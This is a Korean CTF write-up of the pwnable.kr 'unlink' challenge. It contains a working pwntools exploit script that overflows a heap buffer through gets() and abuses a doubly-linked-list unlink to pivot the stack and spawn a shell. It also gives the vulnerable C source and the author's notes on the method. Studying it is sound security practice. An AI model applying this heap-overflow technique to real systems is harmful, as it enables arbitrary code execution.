security/포너블 - pwnable.kr

pwnable.kr - [Toddler's Bottle] unlink

민사민서 2023. 2. 6. 21:25
from pwn import *

s = ssh(user="unlink", host="pwnable.kr", port=2222, password="guest")
p = s.process(executable="/home/unlink/unlink")

p.recvuntil("leak: ")
stkebp = int(p.recvline()[:-1], 16) + 0x14
print(hex(stkebp))
p.recvuntil("leak: ")
heap_a = int(p.recvline()[:-1], 16)
print(hex(heap_a))
p.recvline()

''' chunk a 활용
pay = p32(0x080484eb) + b'A'*0xc
pay += p32(heap_a+0xc)+p32(stkebp-0x4) # chunk B
'''
# chunk C 활용
pay = b'A'*0x10
pay += p32(heap_a+0x34)+p32(stkebp-0x4) + b'A'*0x10
pay += p32(0x80484eb)

p.sendline(pay)
p.interactive()

 

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct tagOBJ{
   struct tagOBJ* fd;
   struct tagOBJ* bk;
   char buf[8];
}OBJ;

void shell(){
   system("/bin/sh");
}

void unlink(OBJ* P){
   OBJ* BK;
   OBJ* FD;
   BK=P->bk;
   FD=P->fd;
   FD->bk=BK;
   BK->fd=FD;
}
int main(int argc, char* argv[]){
   malloc(1024);
   OBJ* A = (OBJ*)malloc(sizeof(OBJ)); // 크기 16B
   OBJ* B = (OBJ*)malloc(sizeof(OBJ));
   OBJ* C = (OBJ*)malloc(sizeof(OBJ));

   // double linked list: A <-> B <-> C
   A->fd = B;
   B->bk = A;
   B->fd = C;
   C->bk = B;

   // stack, heap: ASLR 때문에 계속 주소 바뀜! 하지만 offset은 그대로?
   printf("here is stack address leak: %p\n", &A);
   printf("here is heap address leak: %p\n", A);
   printf("now that you have leaks, get shell!\n");
   // heap overflow!
   gets(A->buf);

   // exploit this unlink!
   unlink(B);
   return 0;
}

<exploit 계획>
A->buf에서 bof 발생
B의 fd bk 조작해서 fake chunk 주소로 바꾼다
FD->bk = BK; BK->fd = FD; 에서 주소 덮어쓸 수 있음 
return to shell() 로 코드를 짜보자

방법1)
C chunk에 jmp <shell> 어셈블리어 넣어두고 그곳으로 RET // pwn.asm('jmp $+0x20')
=> 하지만 NX 적용되어있기에 불가능..

방법2)
FD나 BK 중 하나를 shell() 주소로 하면 shell 코드가 손상될 것이므로 안됨
그리고 이런 방식으로 RET 안이루어짐

진짜 방법) main 함수 에필로그가 좀 특이함! 
<+208>:    mov    ecx,DWORD PTR [ebp-0x4]
<+211>:    leave  
<+212>:    lea    esp,[ecx-0x4]
<+215>:    ret
에필로그 보면 (ebp-0x4에 담겨있는 4byte값)을 ecx로 옮기고
ecx-0x4 주소로 esp를 옮기고
esp가 가리키는 주소로 복귀한다

ebp-0x4에 Chunk A+12를 담고,
Chunk A+8(buf)에 shell 주소를 담으면 되겠네
BK=[ebp-0x4]
FD=[chunk A+0xC]


cf) 
No PIE, No Canary, Partial RELRO
A=[ebp-0x14], B=[ebp-0xc], C=[ebp-0x10]
실제 서버상에서 gdb를 돌려보니 A~C 각 chunk는 0x18 (로컬에선 0x20)씩 차이나네
chunk와 chunk 사이 간격이 8Byte씩 생기는 듯
**** 로컬과 서버상에서 구현이 다르게 될 수 있으므로 서버쪽 gdb로 확인 ****
**** 맞게 구현했는데 익스 안된다? 원격/로컬 환경 다를 수 있으니 gdb로 확인
gets(A->buf) 코드를 보니 buf는 리턴된 chunk 주소+8에 위치함
즉 반환된 chunk주소부터 fd(4B)/bk(4B)/buf(8B) 이렇게 위치한다